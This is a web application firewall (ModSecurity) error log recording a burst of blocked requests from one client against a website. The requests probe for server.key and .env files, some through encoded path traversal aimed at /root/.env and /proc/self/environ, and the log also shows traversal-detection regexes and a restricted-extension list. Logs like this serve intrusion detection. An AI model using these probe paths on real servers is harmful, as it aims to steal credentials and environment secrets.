[Mon Oct 26 01:41:51.937661 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oH0hKYrNeTnGv3xbKWgAAAEk"]
[Mon Oct 26 01:41:52.181005 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:59860] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7oIIl8CCaegHlNIHu8RAAAAD8"]
[Mon Oct 26 01:41:52.181370 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:59860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7oIIl8CCaegHlNIHu8RAAAAD8"]
[Mon Oct 26 01:41:52.182284 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:59860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIIl8CCaegHlNIHu8RAAAAD8"]
[Mon Oct 26 01:41:52.421323 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7oIAxAu6O5Rl3lUdFIdAAAAAc"]
[Mon Oct 26 01:41:52.421845 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7oIAxAu6O5Rl3lUdFIdAAAAAc"]
[Mon Oct 26 01:41:52.422677 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIAxAu6O5Rl3lUdFIdAAAAAc"]
[Mon Oct 26 01:41:52.547364 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59974] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oID_i4HNCTNPOg5uzDAAAAAw"]
[Mon Oct 26 01:41:52.547517 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oID_i4HNCTNPOg5uzDAAAAAw"]
[Mon Oct 26 01:41:52.548076 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oID_i4HNCTNPOg5uzDAAAAAw"]
[Mon Oct 26 01:41:52.548992 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oID_i4HNCTNPOg5uzDAAAAAw"]
[Mon Oct 26 01:41:52.573578 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7oICzbxoDcPgmvgSFJRQAAAAI"]
[Mon Oct 26 01:41:52.573946 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7oICzbxoDcPgmvgSFJRQAAAAI"]
[Mon Oct 26 01:41:52.574757 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oICzbxoDcPgmvgSFJRQAAAAI"]
[Mon Oct 26 01:41:52.735634 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:59878] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7oIIxjGi9drRw_gnmvcgAAABc"]
[Mon Oct 26 01:41:52.736192 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:59878] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7oIIxjGi9drRw_gnmvcgAAABc"]
[Mon Oct 26 01:41:52.737083 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:59878] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIIxjGi9drRw_gnmvcgAAABc"]
[Mon Oct 26 01:41:52.742191 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.742263 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.742294 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.742352 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.742703 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.743615 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oICX6hE-fJup-lUtqjAAAAAU"]
[Mon Oct 26 01:41:52.966062 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIBuTgBg4-l9uWelcHwAAAA4"]
[Mon Oct 26 01:41:52.966928 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIBuTgBg4-l9uWelcHwAAAA4"]
[Mon Oct 26 01:41:52.968128 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIBuTgBg4-l9uWelcHwAAAA4"]
[Mon Oct 26 01:41:53.206522 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIU5m7a_5HlxYoPwqJwAAABA"]
[Mon Oct 26 01:41:53.207224 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIU5m7a_5HlxYoPwqJwAAABA"]
[Mon Oct 26 01:41:53.208249 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIU5m7a_5HlxYoPwqJwAAABA"]
[Mon Oct 26 01:41:53.280505 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60054] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at7oIbkOD9Ny-2FD8uDmggAAABQ"]
[Mon Oct 26 01:41:53.280943 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at7oIbkOD9Ny-2FD8uDmggAAABQ"]
[Mon Oct 26 01:41:53.281829 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIbkOD9Ny-2FD8uDmggAAABQ"]
[Mon Oct 26 01:41:53.282760 2026] [security2:error] [pid 2973341:tid 2973341] [client 34.104.156.199:60022] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7oIUhr8c52DmDleMR0_AAAABM"]
[Mon Oct 26 01:41:53.282855 2026] [security2:error] [pid 2973341:tid 2973341] [client 34.104.156.199:60022] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7oIUhr8c52DmDleMR0_AAAABM"]
[Mon Oct 26 01:41:53.282910 2026] [security2:error] [pid 2973341:tid 2973341] [client 34.104.156.199:60022] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7oIUhr8c52DmDleMR0_AAAABM"]
[Mon Oct 26 01:41:53.283332 2026] [security2:error] [pid 2973341:tid 2973341] [client 34.104.156.199:60022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7oIUhr8c52DmDleMR0_AAAABM"]
